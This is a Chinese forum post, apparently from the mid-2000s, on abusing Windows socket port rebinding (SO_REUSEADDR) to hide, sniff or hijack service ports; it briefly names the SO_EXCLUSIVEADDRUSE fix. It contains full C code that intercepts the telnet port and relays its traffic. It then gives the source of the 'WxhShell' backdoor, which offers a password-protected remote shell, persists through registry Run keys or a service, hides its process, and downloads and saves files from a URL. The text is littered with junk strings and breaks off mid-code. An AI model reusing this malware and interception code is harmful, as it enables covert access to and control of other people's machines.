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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: w2*.3I,~)B  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $cl[Qcw  
&O|!w&  
  saddr.sin_family = AF_INET; J%VcvBaJm  
D5]AL5=Xt2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); BR&T,x/d  
&6]+a4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); TUE*mDRmP  
Skb,cKU  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 k+-IuO  
HCBZ*Z-  
  这意味着什么?意味着可以进行如下的攻击: H~Z$pk%  
/zt9;^e  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m7<HK,d  
}"} z7Xb0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) X;2I' Kg  
~kDR9s7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,m4M39MWJ  
+IS+!K0?)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  G.j  R  
g)Ep'd-w"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 b5!\"v4c  
0[A4k:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 QuF76&)7  
'K|Jg.2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 MHF31/g\  
VSm[80iR0  
  #include J#k3iE}  
  #include U2Uf69R  
  #include z@70{*  
  #include    ? PIq/[tk  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "zN2+X"&  
  int main() ^Rel-=Z$B  
  { ,(1n(FZ  
  WORD wVersionRequested; `/|S.a#g  
  DWORD ret; CsJ38]=Mt  
  WSADATA wsaData; 25bbuhss  
  BOOL val; R,Gr{"H  
  SOCKADDR_IN saddr; f+ }Rj0A  
  SOCKADDR_IN scaddr; R,3E_me"}  
  int err; sObH#/l`  
  SOCKET s; $ 12mS  
  SOCKET sc; F'v3caE  
  int caddsize; C(=$0FIR  
  HANDLE mt; ]^f7s36  
  DWORD tid;   .2K4<UOAbm  
  wVersionRequested = MAKEWORD( 2, 2 ); Z`FEB0$  
  err = WSAStartup( wVersionRequested, &wsaData ); 8Ce|Q8<8]  
  if ( err != 0 ) { ,^Cl?\9"  
  printf("error!WSAStartup failed!\n"); su?{Cj6*  
  return -1; \vH /bL  
  } mbf'xGO  
  saddr.sin_family = AF_INET; | c:E)S\  
   sl5y1W/]]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 I "8:IF  
9+z5 $  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  <>|&%gmz  
  saddr.sin_port = htons(23); ( M > C  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +%O_xqq  
  { ?&ow:OH+  
  printf("error!socket failed!\n"); .o27uB.  
  return -1; uTWij4)a  
  } a {4Wg:  
  val = TRUE; 2H,^i,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &Zxo\[lP  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {Df97n%h;  
  { &-S;.}  
  printf("error!setsockopt failed!\n"); %=ZN2)7{  
  return -1; "7> o"FQ  
  } Q3@MRR^tY  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Q|gw\.]$&[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !Q/%N#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 BzVF!<!  
*A^j>lV  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wqB 5KxO  
  { v+), uj  
  ret=GetLastError(); Hm>7|!  
  printf("error!bind failed!\n"); o@6hlLr  
  return -1; "k;j@  
  } m'!smS x8  
  listen(s,2); ]j4Nl?5*x  
  while(1) rXIFCt8J  
  { he vM'"|4  
  caddsize = sizeof(scaddr); D2,2Yy5 y  
  //接受连接请求 : \{>+!`w  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); I[x+7Y0k9  
  if(sc!=INVALID_SOCKET) ~x(1g;!^  
  { I^u$H&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); k@[P\(a3b  
  if(mt==NULL) 6'F4p1VG*I  
  { (Yv)%2  
  printf("Thread Creat Failed!\n"); <FkoWN  
  break; M%3P@GRg  
  } <P%<EgOE  
  } XEUy,>mR  
  CloseHandle(mt); V[Z^Z  
  } GKk> ;X-  
  closesocket(s); }k{h^!fV  
  WSACleanup(); L[j73z'  
  return 0; @) \{u$  
  }   odPdWV,&*  
  DWORD WINAPI ClientThread(LPVOID lpParam) 'Nqa=_<WW  
  { \ZOH3`vq  
  SOCKET ss = (SOCKET)lpParam; 7CGxM  
  SOCKET sc; 2 &(w\#'  
  unsigned char buf[4096]; YKWiZ  
  SOCKADDR_IN saddr; 9B&fEmgEc?  
  long num; z5> {(iY;,  
  DWORD val; .{=|N8*py8  
  DWORD ret; qH8d3?1XO  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {hNvCk  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `Z' h[-2`  
  saddr.sin_family = AF_INET; d3IMQ_k  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); D)_67w|u|  
  saddr.sin_port = htons(23); "44A#0)B'l  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iC.k8r+~  
  { #+Pk_?  
  printf("error!socket failed!\n"); {,9^k'9  
  return -1; rsGQ :c  
  } a*D])Lu[  
  val = 100; 2VZdtz  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^z^zsNx  
  { Twi7g3}/jB  
  ret = GetLastError(); ^W*T~V*8  
  return -1; HtN!Hgpwg  
  } d41DcgG'j(  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HT% =o}y  
  { 4H]~]?F&  
  ret = GetLastError(); f)b+>!  
  return -1; `a+"[%  
  } sx]kH$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~CRd0T[^  
  { [2l2w[7Rid  
  printf("error!socket connect failed!\n"); M];?W  
  closesocket(sc); kLfk2A;'i  
  closesocket(ss); wr~Ydmsf  
  return -1; ^DQp9$la  
  } FD*) @4<o  
  while(1) :,f~cdq=  
  { b<]Ae!I'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 AY B~{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 kgZiyPcw  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 fp)%Cr  
  num = recv(ss,buf,4096,0); Y48MCL  
  if(num>0) ER'zjI>t@  
  send(sc,buf,num,0); %p(!7FDE2n  
  else if(num==0) \8}!aTC  
  break; |ler\"Eu  
  num = recv(sc,buf,4096,0); Ig{ 3>vB  
  if(num>0) Fs}vI~}  
  send(ss,buf,num,0); N,?4,+Hc-  
  else if(num==0) |Vj@;+/j  
  break; pOKs VS%fT  
  } =U- w!uW  
  closesocket(ss); .G~Y`0  
  closesocket(sc); G oHdhne3  
  return 0 ; m,X8Cy|vQ  
  } (=eJceE!  
oWP3Y.  
|H%[tkW6c  
========================================================== .I#ss66h  
 D_D76  
下边附上一个代码,,WXhSHELL +WTO_J7  
qPvWb1H:  
========================================================== # ^q87y  
,Qb(uirl]  
#include "stdafx.h" F39H@%R  
vS1#ien#  
#include <stdio.h> U1y8Y/  
#include <string.h> Q8GI;`Rb  
#include <windows.h> XN Gw@$  
#include <winsock2.h> ,VYUQE>\  
#include <winsvc.h> S@^o=B]]  
#include <urlmon.h> +!JTEKHKH  
\nbGdka  
#pragma comment (lib, "Ws2_32.lib") Tfow_t}\  
#pragma comment (lib, "urlmon.lib") `ttqgv\  
(aUdPo8H^  
#define MAX_USER   100 // 最大客户端连接数 41XS/# M$*  
#define BUF_SOCK   200 // sock buffer vjz 'y[D  
#define KEY_BUFF   255 // 输入 buffer +aoenUm5  
E-v#G~  
#define REBOOT     0   // 重启 -`s_md0BM  
#define SHUTDOWN   1   // 关机 Ucqn 3&  
VoG:3qN  
#define DEF_PORT   5000 // 监听端口 `iZ){JfAH  
@ i*It Hk  
#define REG_LEN     16   // 注册表键长度 SsBiCctn  
#define SVC_LEN     80   // NT服务名长度 7]F@ g}8  
# KgDOCQH  
// 从dll定义API b sM ]5^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0=erf62=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jM5w<T-2/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o$rA;^2X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); duq(K9S  
I3^}$#>  
// wxhshell配置信息 YW7Pimks  
struct WSCFG { ;%a  
  int ws_port;         // 监听端口 T)lkT?  
  char ws_passstr[REG_LEN]; // 口令 HS@ EV iht  
  int ws_autoins;       // 安装标记, 1=yes 0=no ; nc3O{rU  
  char ws_regname[REG_LEN]; // 注册表键名 U.A:'9K,  
  char ws_svcname[REG_LEN]; // 服务名 |6o!]~&e$1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z!foD^&R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _)XZ;Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `)TuZP_)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E5QQI9ea  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S3N+ 9*i K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pZ)N,O3  
12o6KVV^x  
}; }MIg RQ9  
,JqCxb9  
// default Wxhshell configuration mhW*rH*m  
struct WSCFG wscfg={DEF_PORT, Msst:}QY  
    "xuhuanlingzhe", ZE:!>VXa87  
    1, *b,4qMr  
    "Wxhshell", >!3r7LgK  
    "Wxhshell", *&doI%q  
            "WxhShell Service", e5$S2o~JF  
    "Wrsky Windows CmdShell Service", a&!K5(  
    "Please Input Your Password: ", MRN=-|fV^  
  1, | {Tq/  
  "http://www.wrsky.com/wxhshell.exe", 3,^.  
  "Wxhshell.exe" FjV)QP H  
    }; MG:eI?G/'  
BF/l#)$yK  
// 消息定义模块 7-VP)|L#G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ApTE:Fm1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~s2la~gu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :YCB23368"  
char *msg_ws_ext="\n\rExit."; ~v6]6+   
char *msg_ws_end="\n\rQuit."; 9GtVcucN  
char *msg_ws_boot="\n\rReboot..."; ^i!I0Q2yd  
char *msg_ws_poff="\n\rShutdown..."; z#*> u  
char *msg_ws_down="\n\rSave to "; ows 3%  
8}K4M(  
char *msg_ws_err="\n\rErr!"; Sf'uKSX1%  
char *msg_ws_ok="\n\rOK!"; dLbSvK<(I  
^4Tf6Fw#  
char ExeFile[MAX_PATH]; PVaqKCj:6W  
int nUser = 0; KsQn%mxS  
HANDLE handles[MAX_USER]; 4u= v  
int OsIsNt; h9kwyhd"  
gX]ewbPDQ  
SERVICE_STATUS       serviceStatus; o[%\W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cRv#aV  
y' RQ_Gi  
// 函数声明  vg8Yc  
int Install(void); |#ZMZmo{  
int Uninstall(void); [Om,Q<  
int DownloadFile(char *sURL, SOCKET wsh); b6! 7 j  
int Boot(int flag); \Vx_$E  
void HideProc(void); uxlrJ1~M  
int GetOsVer(void); r"!xI  
int Wxhshell(SOCKET wsl); dy]ZS<Hz8G  
void TalkWithClient(void *cs); @plh'f}  
int CmdShell(SOCKET sock); \)i,`bz  
int StartFromService(void); H'}6Mw%ra  
int StartWxhshell(LPSTR lpCmdLine); O=}d:yZb!  
hv*XuT/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Mc{-2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); '"T9y=9]s  
D2I|Z  
// 数据结构和表定义 QzxEkTc;  
SERVICE_TABLE_ENTRY DispatchTable[] = @H$Sv   
{ |t~*!0>3  
{wscfg.ws_svcname, NTServiceMain}, ?5;N=\GQ  
{NULL, NULL} x/ix%!8J  
}; =w/AJ%6  
B Q2N_*v  
// 自我安装 ]CDUHz  
int Install(void) R>B6@|}?  
{ +F*h\4ry#  
  char svExeFile[MAX_PATH]; j/;wxKW  
  HKEY key; 7^C&2k 5G  
  strcpy(svExeFile,ExeFile); x@3cZd0j#  
g(i8HU*{q  
// 如果是win9x系统,修改注册表设为自启动 Q/0oe())  
if(!OsIsNt) {  uU=!e&3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6!SW]#sD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0 \V)DV.i  
  RegCloseKey(key); &ET$ca`j#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qWJHb Dd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x[xRqC vL  
  RegCloseKey(key); Z!3R  
  return 0; b! r%4Ah  
    } TfHL'u9B  
  } A4(k<<xjE  
} Q%524%f$  
else { }R/we`  
]Ljb&*IEj  
// 如果是NT以上系统,安装为系统服务 &G?"I%Vw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  DTa!vg  
if (schSCManager!=0) KTBtLUH]*F  
{ _-rC]iQJ55  
  SC_HANDLE schService = CreateService *Q#oV}D_  
  ( j{D tjV8  
  schSCManager, w|Ry) [  
  wscfg.ws_svcname, 7 IJn9b  
  wscfg.ws_svcdisp, o2cc3`*8d  
  SERVICE_ALL_ACCESS, C_JO:$\rE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xGFbh4H=8p  
  SERVICE_AUTO_START, '$rCV,3q  
  SERVICE_ERROR_NORMAL, 97~>gFU77#  
  svExeFile, LzD RyL  
  NULL,  e<(6x[_  
  NULL, K]uH7-YvL/  
  NULL,  v7Ps-a)  
  NULL, x6*y$D^B  
  NULL ?1zGs2Qs  
  ); v+}${h9  
  if (schService!=0) e-OKv#]  
  { 6nR EuT'k  
  CloseServiceHandle(schService); n`@dk_%yI  
  CloseServiceHandle(schSCManager); Q*M(d\Vs  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i+pQ 7wx  
  strcat(svExeFile,wscfg.ws_svcname); .;qh>Gt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \ \Tz'>[\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o';/$xrH  
  RegCloseKey(key); bub6{MQW8e  
  return 0; NqGSoOjIO2  
    } k2tSgJW  
  } h&n1}W+  
  CloseServiceHandle(schSCManager); LAY:R{vI  
} MT:VQ>f C  
} wOCAGEg  
|i #06jIq  
return 1;  rV4K@)~  
} :YOo"3.]  
7S^G]g!x  
// 自我卸载 WUo\jm[yr  
int Uninstall(void) bM5o-U#^ C  
{ ;<thEWH;Y  
  HKEY key; mQR9Pn}H  
&CSy>7&q  
if(!OsIsNt) { n\V7^N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eB=&(ZT  
  RegDeleteValue(key,wscfg.ws_regname); 1r_V$o$  
  RegCloseKey(key); <P'FqQ]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z6rT<~xZtu  
  RegDeleteValue(key,wscfg.ws_regname); Dte5g),R  
  RegCloseKey(key); { PJ>gX$  
  return 0; awvP;F?q|  
  } {:#nrD"  
} s;=C&N5g  
} s@5~Hy eI  
else { R dwt4A+  
y Vm>Pj6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h3&|yS|  
if (schSCManager!=0) -`eB4j'7  
{ xy4+ [u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |2@*?o"ll  
  if (schService!=0) B>m*!n: l  
  { 4OQ,|Wm4G  
  if(DeleteService(schService)!=0) { CfSP*g0rW  
  CloseServiceHandle(schService); rUmP_  
  CloseServiceHandle(schSCManager); t|i<}2  
  return 0;  7gZ}Qy  
  } vNrn]v=|}7  
  CloseServiceHandle(schService); #0Y_!'j  
  } %lWOW2~R  
  CloseServiceHandle(schSCManager); n*A1x8tn  
} O !{YwE8x9  
} >5:O%zQ@  
!khEep}  
return 1; ZV+tHgzlv5  
} {GLGDEb  
^ r(My}  
// 从指定url下载文件 dXQC}JA  
int DownloadFile(char *sURL, SOCKET wsh) @sA!o[gH  
{ X!^|Tass  
  HRESULT hr; FX|&o >S(8  
char seps[]= "/"; A)>#n)  
char *token; 5TB6QLPEwY  
char *file; matna  
char myURL[MAX_PATH]; '!8-/nlv1  
char myFILE[MAX_PATH]; F]?] |nZZ  
vno/V#e$WX  
strcpy(myURL,sURL); FA$32*v  
  token=strtok(myURL,seps); C-;w}  
  while(token!=NULL) dCTyfXou[=  
  { cPNc$^Y  
    file=token; 4fC:8\A  
  token=strtok(NULL,seps); ]lBCK  
  } uHSnZ"#  
[i ~qVn2vT  
GetCurrentDirectory(MAX_PATH,myFILE); =(D"(OsQ/  
strcat(myFILE, "\\"); =!^ gQ0~4  
strcat(myFILE, file); l[ $bn!_ e  
  send(wsh,myFILE,strlen(myFILE),0); E KV[cq  
send(wsh,"...",3,0); 9tPRQ M7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LrbD%2U$j5  
  if(hr==S_OK) vBl:&99[/  
return 0; SnmUh~`L~  
else #xw*;hW<  
return 1; &t AYF_}  
@:9Gs!!  
} ;ISnI  
/0XMQy  
// 系统电源模块 /~{`!30  
int Boot(int flag) E6-*2U)k+  
{ yW= +6@A4  
  HANDLE hToken; , i5_4  
  TOKEN_PRIVILEGES tkp; 5P-t{<]tx  
oIj=ba(n1  
  if(OsIsNt) { ZDW=>}~_y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dWvVK("Wj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (O5Yd 6u  
    tkp.PrivilegeCount = 1; bItcF$#!!!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pi?MAE*f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TQF+aP8[L  
if(flag==REBOOT) { n|~y >w4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j ) 6  
  return 0; DVL-qt\;n  
} 0 5`"U#`:  
else { &Vz$0{d5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZNX38<3h  
  return 0; >CqzC8JF  
} FQDf?d5  
  } _{Kmj,q  
  else { $Iwvecn?I  
if(flag==REBOOT) { 8Y?M:^f~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ) CP  
  return 0; \!-BR0+y;  
} 147QB+cE  
else { I+8n;I)]X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !qt2,V  
  return 0; ]dpL PR  
} 2X?GEO]/4  
} TN2Ln?[xU  
Gmz^vpQ]t  
return 1; -b(DPte  
} 4I$Y(E}  
:aesG7=O  
// win9x进程隐藏模块 |1U_5w  
void HideProc(void) Hc)z:x;Sj  
{ c{1;x)L  
]:|B).  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $.SBW=^V  
  if ( hKernel != NULL ) H@Z_P p?  
  { Jj"{C]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C$OVN$lL`8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 54+(o6E<  
    FreeLibrary(hKernel); +1ICX  
  } 35<A :jKS  
jx: IK  
return; 52w@.]  
} y6XOq>  
[n2B6Px  
// 获取操作系统版本 HN7CcE+l  
int GetOsVer(void) ! _S#8"  
{ b3ohTmy4(  
  OSVERSIONINFO winfo; Hr|f(9xA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oP&/>GmXL  
  GetVersionEx(&winfo); ?b (iWq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v@ _1V  
  return 1; V(MYReaPC]  
  else )^>LnQ_u  
  return 0; o*cu-j3  
} "rv~I_zl  
(bsx|8[  
// 客户端句柄模块 jm}CrqU  
int Wxhshell(SOCKET wsl) VW-qQe  
{ X0/slOT  
  SOCKET wsh; FlqGexY5  
  struct sockaddr_in client; I Dohv[#  
  DWORD myID; "4N&T#  
Z>hTL_|]a{  
  while(nUser<MAX_USER) sy: xA w  
{ x/*lNG/  
  int nSize=sizeof(client); w'S,{GW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F-_u/C]  
  if(wsh==INVALID_SOCKET) return 1; &d_^k.%y  
V ao:9 ~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W__ArV2Z_  
if(handles[nUser]==0) st-{xC#N#  
  closesocket(wsh); mUYRioNj  
else [&)]-2w2  
  nUser++; YvR bM  
  } J=g)rd[`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,;k+n)  
9/ <3mF@E  
  return 0; TZn 15-O  
} i'IT,jz !  
oaIk1U;g  
// 关闭 socket @!8aZB3odt  
void CloseIt(SOCKET wsh) vsY?q8+P  
{ Qb536RpcTY  
closesocket(wsh); As:O|!F  
nUser--; XiUq#84Q  
ExitThread(0); 8wU$kK  
} ~ao:9 ynY  
19 !?oeOU  
// 客户端请求句柄 M\ATT%b:  
void TalkWithClient(void *cs) PDNl]?  
{ 56v G R(  
o!a,r3  
  SOCKET wsh=(SOCKET)cs; JcAsrtrG]  
  char pwd[SVC_LEN]; F/5&:e?( )  
  char cmd[KEY_BUFF]; / *0t_  
char chr[1]; ]aX@(3G1s  
int i,j; o) )` "^  
$8tk|uh  
  while (nUser < MAX_USER) { !T 6R[  
`4Yo-@iVP  
if(wscfg.ws_passstr) {  X\^nV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oC0ndp~+&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X9x`i  
  //ZeroMemory(pwd,KEY_BUFF); xS*UY.>  
      i=0; c=! >m  
  while(i<SVC_LEN) { WAu>p3   
dC=[o\  
  // 设置超时 !eX0Q 2  
  fd_set FdRead; O1c%XwMn^  
  struct timeval TimeOut; epy2}TI  
  FD_ZERO(&FdRead); J8ni}\f  
  FD_SET(wsh,&FdRead); Sd7jd?#9'  
  TimeOut.tv_sec=8; vDjH $ U  
  TimeOut.tv_usec=0; }b_Ob  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3>O|i2U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f"6W ;b2L.  
HuhQ|~C+~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4f LRl-)  
  pwd=chr[0]; HNzxF nh  
  if(chr[0]==0xd || chr[0]==0xa) { SNj-h>&Mha  
  pwd=0; '$ei3  
  break; J1w;m/oV  
  } +nYFLe  
  i++; k{' ZaP)  
    } DDE-$)lf>  
-Vn#Ab_C  
  // 如果是非法用户,关闭 socket Be6Yh~m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {_9O4 + &  
} ]#:WL)@  
O8]e(i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 80lei  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EU[\D;  
L(y70T  
while(1) { eL3 _Lz  
aOD h5  
  ZeroMemory(cmd,KEY_BUFF); o1AbB?%=  
[ZWAXl $  
      // 自动支持客户端 telnet标准   $ XjijD9R  
  j=0; dq 93P%X24  
  while(j<KEY_BUFF) { 5(>=};r+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^exU]5nvz  
  cmd[j]=chr[0]; -S$F\%  
  if(chr[0]==0xa || chr[0]==0xd) { v,w af`)J  
  cmd[j]=0; Pn,I^Ej.  
  break; y4-kuMYR  
  } wGyVmC  
  j++; sfF~k-  
    } n`,  <g  
#Y7jNrxE  
  // 下载文件 T^v763%  
  if(strstr(cmd,"http://")) { Qs1p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k]m ~DVS  
  if(DownloadFile(cmd,wsh)) $d<NN2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); YBt=8`r  
  else JduO^Fit  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _3Eo{^  
  } K_YrdA)6  
  else { [)"\Aq  
~F"S]  
    switch(cmd[0]) { g89@>?Mn  
  oU\]#e^  
  // 帮助 q`xc h[H  
  case '?': { +|/0sPW(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6KddHyFz  
    break; A5nggg4  
  } HE&)N clY  
  // 安装 &%2^B[{  
  case 'i': { {Z2nc)|7C  
    if(Install()) F\eQV<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k]p|kutQCy  
    else LK}g<!o(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YE`Y t  
    break; F0!Z1S0g  
    } I8XP`Ccq  
  // 卸载 .57p4{  
  case 'r': { C>|.0:[%  
    if(Uninstall()) e@P(+.Ke  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '&cH,yc;b  
    else xt}.0dC!/%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LG8h@HY&L  
    break; SZH`-xb!+5  
    } sJLOz>  
  // 显示 wxhshell 所在路径 JU17]gQ  
  case 'p': { uE.BB#  
    char svExeFile[MAX_PATH]; jJIP $  
    strcpy(svExeFile,"\n\r"); X\`']\l  
      strcat(svExeFile,ExeFile); !dT+cZsf  
        send(wsh,svExeFile,strlen(svExeFile),0); 1 !_p  
    break; ~B|m"qY{i  
    } Q0(6n8i  
  // 重启 ]A2E2~~G  
  case 'b': { + ,Krq 3P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0!,uo\`  
    if(Boot(REBOOT)) ) (YNNu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Kgb-bXB  
    else { f- (i%  
    closesocket(wsh); 0Fb ];:a  
    ExitThread(0);  2yJ{B   
    } X7!q/1$J  
    break; TR3U<:  
    } sQ`G'<!  
  // 关机  !64Tx  
  case 'd': { g4A{RI  
